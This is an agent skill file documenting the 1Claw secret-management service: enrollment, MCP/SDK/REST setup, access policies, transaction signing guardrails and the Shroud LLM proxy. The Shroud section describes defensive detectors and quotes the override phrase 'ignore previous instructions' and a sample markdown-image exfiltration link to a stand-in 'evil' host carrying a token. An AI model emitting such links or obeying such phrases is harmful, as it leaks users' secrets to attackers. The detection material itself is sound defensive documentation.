name: 1claw version: 1.6.0 description: HSM-backed secret management for AI agents — store, retrieve, rotate, and share secrets via the 1Claw vault without exposing them in context. homepage: https://1claw.xyz repository: https://github.com/1clawAI/1claw metadata: { "openclaw": { "requires": { "env": [ "ONECLAW_AGENT_API_KEY", ], "bins": [], }, "primaryEnv": "ONECLAW_AGENT_API_KEY", "install": [ { "id": "npm", "kind": "node", "package": "@1claw/mcp", "bins": ["1claw-mcp"], "label": "1Claw MCP Server", }, ], "credentials": ["ONECLAW_AGENT_API_KEY"], "optional_credentials": ["ONECLAW_AGENT_ID", "ONECLAW_VAULT_ID"], "permissions": [ "vault:read", "vault:write", "vault:delete", "secret:read", "secret:write", "secret:delete", "policy:create", "share:create", "tx:sign", "tx:simulate", ], }, }

1Claw — HSM-Backed Secret Management for AI Agents

1Claw is a cloud HSM-backed secrets manager. Agents access API keys, passwords, and credentials at runtime without them ever entering the conversation context. Secrets are encrypted with keys that never leave the HSM.

API base URL: https://api.1claw.xyz Shroud (TEE proxy): https://shroud.1claw.xyz MCP endpoint: https://mcp.1claw.xyz/mcp Dashboard: https://1claw.xyz Docs: https://docs.1claw.xyz

Pinata / OpenClaw

Only ONECLAW_AGENT_API_KEY is a secret in the host environment (e.g. Pinata → Environment Variables). Do not instruct users to set ONECLAW_VAULT_ID or ONECLAW_AGENT_ID as required — those UUIDs are optional identifiers, not credentials; the OpenClaw plugin auto-resolves agent and default vault from the API key. Mention ONECLAW_VAULT_ID only when pinning a specific vault among several.

When to use this skill

• You need an API key, password, or credential to complete a task
• You want to store a newly generated credential securely
• You need to share a secret with a user or another agent
• You need to rotate a credential after regenerating it
• You want to check what secrets are available before using one
• You need to sign or simulate an EVM transaction without exposing private keys
• You want TEE-grade key isolation for transaction signing (use Shroud at shroud.1claw.xyz)
• Your vault uses MPC secret storage — DEKs split across GCP/AWS/Azure HSMs (Shamir 2-of-3) or XOR 2-of-2 client custody; provide X-Client-Share header when reading from client-custody vaults
• Your org uses LLM token billing (Stripe AI Gateway): enable in the dashboard; agent JWTs include llm_token_billing / stripe_customer_id for Shroud routing
• You need to request access to a Safe multisig treasury (agent access requests)
• You want to manage or deploy agent EVM addresses and Safe smart accounts (ERC-4337, one per chain; POST /v1/agents/{id}/smart-accounts to add a Safe)

Setup

Option 0: Self-enrollment (new agents)

If you don't have credentials yet, self-enroll. The API creates a pending enrollment; the human approves in the dashboard (or via the emailed link). After approval, the API key is emailed.

With the human's email — Allow/Deny links are emailed, and the JSON response usually includes approval_url as a fallback if mail is delayed or lost:

# curl
curl -s -X POST https://api.1claw.xyz/v1/agents/enroll \
  -H "Content-Type: application/json" \
  -d '{"name":"my-agent","human_email":"human@example.com"}'

# TypeScript SDK (static method, no auth needed)
import { AgentsResource } from "@1claw/sdk";
await AgentsResource.enroll("https://api.1claw.xyz", {
  name: "my-agent",
  human_email: "human@example.com",
});

# CLI (no auth needed)
npx @1claw/cli agent enroll my-agent --email human@example.com

Name only (omit human_email) — response includes approval_url; the human opens it while signed in to approve into their org (no email required to start):

curl -s -X POST https://api.1claw.xyz/v1/agents/enroll \
  -H "Content-Type: application/json" \
  -d '{"name":"my-agent"}'

npx @1claw/cli agent enroll my-agent

The human receives the Agent ID + API key by email after approval. They then configure policies for your access.

Option 1: MCP server (recommended for AI agents)

Add to your MCP client configuration. Only the API key is required — agent ID and vault are auto-discovered.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "<agent-api-key>"
            }
        }
    }
}

Optional overrides: ONECLAW_AGENT_ID (explicit agent), ONECLAW_VAULT_ID (explicit vault).

stdio refresh: The MCP server rebuilds its Vault API client from current environment variables on each tool call (no long-lived cached client tied to startup env), so updating ONECLAW_VAULT_ID or keys in the client config takes effect without restarting the process.

Hosted HTTP streaming mode:

URL: https://mcp.1claw.xyz/mcp
Headers:
  Authorization: Bearer <agent-jwt>
  X-Vault-ID: <vault-uuid>

Option 2: TypeScript SDK

npm install @1claw/sdk

import { createClient } from "@1claw/sdk";

const client = createClient({
    baseUrl: "https://api.1claw.xyz",
    apiKey: process.env.ONECLAW_AGENT_API_KEY,
});

Option 3: Direct REST API

Authenticate, then pass the Bearer token on every request.

# Exchange agent API key for a JWT (key-only — agent_id is auto-resolved)
RESP=$(curl -s -X POST https://api.1claw.xyz/v1/auth/agent-token \
  -H "Content-Type: application/json" \
  -d '{"api_key":"<key>"}')
TOKEN=$(echo "$RESP" | jq -r .access_token)
AGENT_ID=$(echo "$RESP" | jq -r .agent_id)

# Use the JWT
curl -H "Authorization: Bearer $TOKEN" https://api.1claw.xyz/v1/vaults

Alternative: 1ck_ API keys (personal or agent) can be used directly as Bearer tokens — no JWT exchange needed.

Authentication

Agent auth flow

1. Human registers an agent in the dashboard or via POST /v1/agents with an auth_method (api_key default, mtls, or oidc_client_credentials). For api_key agents → receives agent_id + api_key (prefix ocv_). For mTLS/OIDC agents → receives agent_id only (no API key).
2. All agents auto-receive an Ed25519 SSH keypair (public key on agent record, private key in __agent-keys vault).
3. API key agents exchange credentials: POST /v1/auth/agent-token with { "api_key": "<key>" } (or { "agent_id": "<uuid>", "api_key": "<key>" }) → returns { "access_token": "<jwt>", "expires_in": 3600, "agent_id": "<uuid>", "vault_ids": ["..."] }. Agent ID is optional — the server resolves it from the key prefix.
4. Agent uses Authorization: Bearer <jwt> on all subsequent requests.
5. JWT scopes derive from the agent's access policies (path patterns). If no policies exist, scopes are empty (zero access). The agent's vault_ids are also included in the JWT — requests to unlisted vaults are rejected.
6. Token TTL defaults to ~1 hour but can be set per-agent via token_ttl_seconds. The MCP server auto-refreshes 60s before expiry.

API key auth

Tokens starting with 1ck_ (human personal API keys) or ocv_ (agent API keys) can be used as Bearer tokens directly on any authenticated endpoint.

Human password reset (email/password accounts)

• Dashboard: Forgot password? on the login page → email link → /reset-password?token=….
• API: POST /v1/auth/forgot-password { "email" } and POST /v1/auth/reset-password { "token", "new_password" } (public; forgot returns a generic message).
• CLI: 1claw forgot-password, 1claw reset-password (use --api-url for self-hosted).

Shroud & Intents hosts

• Shroud (shroud.1claw.xyz): TEE LLM proxy + transaction signing; full Intents API surface.
• Intents (intents.1claw.xyz): Additional ingress for signing/health checks; production smoke tests hit /healthz.

MCP Tools Reference

list_secrets

List all secrets in the vault. Returns paths, types, and versions — never values.

get_secret

Fetch the decrypted value of a secret. Use immediately before the API call that needs it. Never store the value or include it in summaries.

put_secret

Store a new secret or update an existing one. Each call creates a new version.

delete_secret

Soft-delete a secret. Reversible by an admin.

describe_secret

Get metadata (type, version, expiry) without fetching the value. Use to check existence.

rotate_and_store

Store a new value for an existing secret, creating a new version. Use after regenerating a key.

get_env_bundle

Fetch an env_bundle secret and parse its KEY=VALUE lines as JSON.

create_vault

Create a new vault for organizing secrets.

list_vaults

List all vaults accessible to you. No parameters.

grant_access

Grant a user or agent access to a vault path pattern.

share_secret

Share a secret via link, with your creator, or with a specific user/agent.

Targeted shares (creator/user/agent) require the recipient to explicitly accept before access.

simulate_transaction

Simulate an EVM transaction via Tenderly without signing. Returns balance changes, gas estimates, success/revert status.

submit_transaction

Submit an EVM transaction for signing and optional broadcast. Requires intents_api_enabled.

sign_transaction

Sign an EVM transaction without broadcasting. Returns signed_tx hex + tx_hash + from address. Same guardrails as submit_transaction.

list_transactions

List an agent's past transactions. Returns transaction history with status, chain, value, and timestamps.

No parameters required (uses the authenticated agent's context).

get_transaction

Get details of a specific transaction.

simulate_bundle

Simulate multiple EVM transactions as a sequence via Tenderly. Returns per-transaction results.

inspect_content

Inspect text content through the Shroud security pipeline. Returns threat detections and policy violations without sending to an LLM.

rotate_generate

Generate a new random value and rotate a secret to it. Combines generation and rotation in one step.

list_versions

List all versions of a secret. Returns version numbers, timestamps, and status.

REST API Quick Reference

Base URL: https://api.1claw.xyz. All authenticated endpoints require Authorization: Bearer <token>.

Auth (public — no token required)

Auth (authenticated)

Vaults

Secrets

Agents

Policies (Access Control)

Sharing

Intents API (requires intents_api_enabled)

Shroud Activity

Audit

Billing

Chains

Treasury (Safe multisig, agent access)

Other

SDK Method Reference

All methods return Promise<OneclawResponse<T>>. Access via client.<resource>.<method>(...).

OpenAPI spec for custom SDKs

The API spec is published as an npm package for generating clients in any language:

npm install @1claw/openapi-spec

Ships openapi.yaml and openapi.json. Use with any OpenAPI 3.1 codegen tool:

# TypeScript
npx openapi-typescript node_modules/@1claw/openapi-spec/openapi.yaml -o ./types.ts

# Python
openapi-generator generate -i node_modules/@1claw/openapi-spec/openapi.yaml -g python -o ./oneclaw-py

# Go
oapi-codegen -package oneclaw node_modules/@1claw/openapi-spec/openapi.yaml > oneclaw.go

SDK also re-exports generated types: import type { ApiSchemas } from "@1claw/sdk".

Supported Chains

Default chain registry (query GET /v1/chains for live list):

Use chain names (e.g. "base", "sepolia") or numeric chain IDs in transaction requests.

Access Control Model

Agents do not get blanket access. A human must create a policy to grant an agent access to specific secret paths.

• Path patterns: Glob syntax — api-keys/*, db/**, ** (all)
• Permissions: read, write (delete requires write)
• Conditions: IP allowlist, time windows (JSON)
• Expiry: Optional ISO 8601 date

If no policy matches → 403 Forbidden. Vault creators always have full access (owner bypass).

Vault binding and token scoping

Agents can be restricted beyond policies:

• vault_ids: Restrict the agent to specific vaults. If non-empty, any request to a vault not in the list returns 403.
• token_ttl_seconds: Custom JWT expiry per agent (e.g., 300 for 5-minute tokens).
• Scopes from policies: JWT scopes are derived from the agent's access policies. If an agent has no policies and no explicit scopes, it has zero access.

Set via dashboard, CLI (--token-ttl, --vault-ids), SDK, or API.

Customer-Managed Encryption Keys (CMEK)

Enterprise opt-in feature (Business tier and above). A human generates a 256-bit AES key in the dashboard — the key never leaves their device. Only its SHA-256 fingerprint is stored on the server.

• Enable: POST /v1/vaults/{id}/cmek with { fingerprint }
• Disable: DELETE /v1/vaults/{id}/cmek
• Rotate: POST /v1/vaults/{id}/cmek-rotate (server-assisted, batched in 100s)
• Secrets stored in a CMEK vault have cmek_encrypted: true in responses

Agents reading from a CMEK vault receive the encrypted blob. The CMEK key is required to decrypt client-side. This is designed for organizations with compliance requirements — the default HSM encryption is already strong.

Intents API

When intents_api_enabled = true (set by a human):

1. Agent gains transaction signing via the Intents API (keys stay in HSM)
2. Agent is blocked from reading private_key and ssh_key secrets directly (403)

Default signing key path: keys/{chain}-signer. Override with signing_key_path (restricted to keys/*, wallets/*, or agents/{id}/keys/* — other paths are rejected to prevent arbitrary secret exfiltration).

Replay protection (Idempotency-Key)

Include an Idempotency-Key: <unique-string> header on POST /v1/agents/{id}/transactions. The server SHA-256 hashes the key and caches the result for 24 hours. Duplicate submissions with the same key return the cached response instead of re-signing and re-broadcasting. If two concurrent requests share a key, one returns 409 (retry after a moment).

Server-side nonce serialization

When nonce is omitted from a transaction request, the server resolves it automatically via eth_getTransactionCount (pending) and serializes concurrent callers with SELECT FOR UPDATE. This prevents two in-flight submissions from the same agent+chain+address from receiving the same nonce. You can still pass an explicit nonce to override.

signed_tx field gating

GET endpoints (/v1/agents/{id}/transactions and /v1/agents/{id}/transactions/{txid}) redact the signed_tx field by default to reduce exfiltration risk. To include it, pass ?include_signed_tx=true. The initial POST response always includes signed_tx for the originating caller.

Transaction guardrails

Human-configured, server-enforced limits on what the Intents API allows:

Agents cannot modify their own guardrails. Violations return 403 with a descriptive error.

Shroud per-agent LLM proxy

When shroud_enabled = true (set by a human), the agent's LLM traffic is routed through Shroud (shroud.1claw.xyz) for secret redaction, PII scrubbing, prompt injection defense, threat detection, and policy enforcement inside a TEE.

shroud_config is an optional JSON object that lets humans fine-tune the proxy behavior per agent:

Basic settings

Threat detection settings

Multi-layered detection for prompt injection, command injection, social engineering, and data exfiltration attempts:

Extended inspection pipeline — Beyond the threat detectors above, shroud_config also supports: tool_call_inspection (scan function/tool call arguments, block credential exfiltration), output_policy (block harmful content, patterns, and entities in LLM responses), secret_injection_detection (detect secrets injected into prompts/responses), advanced_redaction (detect base64-encoded, split, or prefix-leaked secrets), and semantic_policy (enforce allowed/denied topics and tasks at the intent level). flagged_request_retention_days controls how long flagged requests are retained. Dashboard: /shroud-activity (overview), /shroud-activity/threats, /shroud-activity/live (real-time inspector).

Bi-directional inspection (Shroud v0.5.0+) — The inspection pipeline runs on the LLM response as well as the request. Response-side detectors catch: echoed / indirect prompt injection (model paraphrases "ignore previous instructions"), markdown-image exfil (![x](https://evil/?token=…)), data-URI exec blobs (data:text/html;base64,…), unexpected fenced code blocks (when semantic_policy.allowed_tasks does not include code), and exfil URLs in model output. Populates new audit fields: response_injection_score, response_context_injection_score, response_injection_categories, external_urls_flagged, unexpected_code_blocks. Default action: Block when score ≥ 0.7 and output_policy.action = "block".

unicode_normalization object:

command_injection_detection object:

social_engineering_detection object:

encoding_detection object:

network_detection object:

filesystem_detection object:

SDK:

await client.agents.create({
    name: "my-agent",
    shroud_enabled: true,
    shroud_config: {
        pii_policy: "redact",
        injection_threshold: 0.8,
        allowed_providers: ["openai", "anthropic"],
        max_requests_per_day: 1000,
        daily_budget_usd: 10.0,
        enable_secret_redaction: true,
        // Threat detection
        unicode_normalization: { enabled: true, normalize_homoglyphs: true },
        command_injection_detection: { action: "block", strictness: "default" },
        social_engineering_detection: { action: "warn", sensitivity: "medium" },
        encoding_detection: { action: "warn", detect_base64: true },
        network_detection: { action: "warn", blocked_domains: ["pastebin.com"] },
        filesystem_detection: { action: "log" },
        sanitization_mode: "block",
        threat_logging: true,
    },
});

await client.agents.update(agentId, {
    shroud_enabled: true,
    shroud_config: { pii_policy: "block", injection_threshold: 0.9 },
});

CLI:

1claw agent create my-agent --shroud
1claw agent update <agent-id> --shroud true
1claw agent update <agent-id> --shroud false

MCP: When shroud_enabled is true, the agent can send LLM requests through shroud.1claw.xyz. Vault puts shroud_config on the agent JWT; Shroud applies it in PolicyEngine after the inspection pipeline (re-exchange credentials after changing Shroud settings). MCP vault tools are unchanged; LLM traffic does not go through MCP.

Share with Your Human

Agents can share secrets back with the human who created or enrolled them. Use recipient_type: "creator" — no email or user ID needed.

Via MCP:

share_secret(secret_id: "...", recipient_type: "creator", expires_at: "2026-12-31T00:00:00Z")

Via SDK:

await client.sharing.create(secretId, {
    recipient_type: "creator",
    expires_at: "2026-12-31T00:00:00Z",
    max_access_count: 5,
});

The human sees the share in their Inbound shares and accepts it. This is the primary pattern for agents that discover or generate credentials and need to report them to their human.

Fleet Patterns

When many agents operate in the same organization:

• Vault organization: Use a shared vault with path-scoped policies (e.g. agents/{name}/**) or per-agent vaults for strict isolation.
• Bulk provisioning: Use the authenticated POST /v1/agents endpoint with a human API key to create many agents, or stagger self-enrollment calls to respect the 10-min per-email cooldown.
• Vault binding: Set vault_ids on each agent to restrict JWT scope beyond what policies allow.
• Token TTL: Shorten to 5 min for ephemeral tasks (token_ttl_seconds: 300), keep default 1h for long-running agents.
• Transaction guardrails: Apply tx_max_value_eth, tx_daily_limit_eth, and tx_allowed_chains to all Intents API agents.
• Monitoring: Filter the audit log by agent ID to track per-agent activity. Use billing usage to monitor org-wide consumption.

Security Model

• Credentials are configured by the human, not the agent. The MCP server reads them from env vars.
• The agent never sees its own credentials. The MCP server authenticates on the agent's behalf.
• Access is deny-by-default. Even with valid credentials, only policy-allowed secrets are accessible.
• Secret values are fetched just-in-time and must never be stored, echoed, or included in summaries.
• Agents cannot create email-based shares (prevents unsolicited email sharing).
• Intents API is opt-in. When enabled, raw key reads are blocked.
• Transaction guardrails are human-controlled and server-enforced.
• Token revocation: DELETE /v1/auth/token (or SDK auth.logout()) revokes the current Bearer token; revoked tokens return 401.
• Agent token auto-revocation: When a policy is created, updated, or deleted for an agent, all active JWTs for that agent are revoked immediately (stale-scope protection via agent_active_tokens table).
• KMS key rotation scheduling: GCP KMS keys support scheduled automatic rotation; production uses HSM protection level (protection_level: 2).
• CRC32C integrity verification: KMS encrypt/decrypt responses are verified with CRC32C checksums to detect data corruption in transit.
• Audit insert hardening: Direct INSERT on audit_events is revoked from the application DB role; all audit writes go through a SECURITY DEFINER function (insert_audit_event) to prevent RLS bypass.
• Request body limit: 5MB max; larger requests return 413.

Error Handling

All error responses include a detail field with a human-readable message.

Best Practices

1. Fetch secrets just-in-time. Call get_secret immediately before the API call that needs the credential.
2. Never echo secret values. Say "I retrieved the API key and used it" — never include raw values in responses.
3. Use describe_secret first to check existence or validity before fetching the full value.
4. Use list_secrets to discover available credentials before guessing paths.
5. Rotate after regeneration. If you regenerate an API key at a provider, immediately rotate_and_store the new value.
6. Use grant_access for vault-level sharing — creates a fine-grained policy with path patterns.
7. Use share_secret for one-off sharing — creates a time-limited, access-counted share link.
8. Simulate before signing. Always use simulate_first: true (default) or call simulate_transaction before submit_transaction.
9. Check list_vaults before creating. Avoid creating duplicate vaults.
10. Handle 402 gracefully. Billing/quota errors should be surfaced to the user, not retried.

Billing Tiers

Overage methods: prepaid credits (top up via Stripe, deducted per request) or x402 micropayments (per-query on-chain payments on Base).

Audit, org, security, chain, billing, and auth endpoints are free and never consume quota.

Links

• Dashboard: 1claw.xyz
• Docs: docs.1claw.xyz
• Status: 1claw.xyz/status
• API: https://api.1claw.xyz
• SDK: @1claw/sdk on npm
• OpenAPI Spec: @1claw/openapi-spec on npm
• MCP Server: @1claw/mcp on npm
• CLI: @1claw/cli on npm
• GitHub: github.com/1clawAI
• Support: ops@1claw.xyz